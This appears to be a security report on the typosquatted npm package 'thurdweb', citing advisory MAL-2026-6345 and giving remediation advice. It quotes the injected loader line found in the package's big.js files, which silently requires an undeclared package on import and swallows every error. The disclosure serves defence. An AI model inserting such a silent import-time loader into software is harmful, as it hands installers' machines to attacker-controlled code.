OpenSSF/OSV malware advisory MAL-2026-6345 identifies this version as malicious and supplies the Firewall block.

OpenSSF/OSV advisory MAL-2026-6345 confirms this npm version as malicious. Package name \`thurdweb\` is a one-character substitution of the popular web3 SDK \`thirdweb\`, but the shipped source is a copy of MikeMcl/big.js (arbitrary-precision decimal arithmetic) — the public API has no relation to the impersonated target. The library file (\`big.js\` / \`big.mjs\` lines 605-608) contains an injected top-level block that fires on \`require('thurdweb')\` / \`import 'thurdweb'\`: \`try { const doc =...

## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

Package name \`thurdweb\` is a one-character substitution of the popular web3 SDK \`thirdweb\`, but the shipped source is a copy of MikeMcl/big.js (arbitrary-precision decimal arithmetic) — the public API has no relation to the impersonated target. The library file (\`big.js\` / \`big.mjs\` lines 605-608) contains an injected top-level block that fires on \`require('thurdweb')\` / \`import 'thurdweb'\`: \`try { const doc = require("parket-slot"); doc.from\_str().then(e =\> { }).catch(e =\> { }) } catch (error) { }\`. \`parket-slot\` is not declared in \`package.json\` \`dependencies\`, and the entire call is wrapped in an empty try/catch that silently swallows every error. \`package.json\` additionally declares \`log-taker@^0.0.9\` as a runtime dependency, which is unrelated to decimal arithmetic and shares the same nondescriptive shape. Any installer who imports this package transitively loads attacker-controlled code from sibling packages whose contents the publisher controls and can mutate independently of this tarball; the silent error handler hides failure from the consumer.

All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
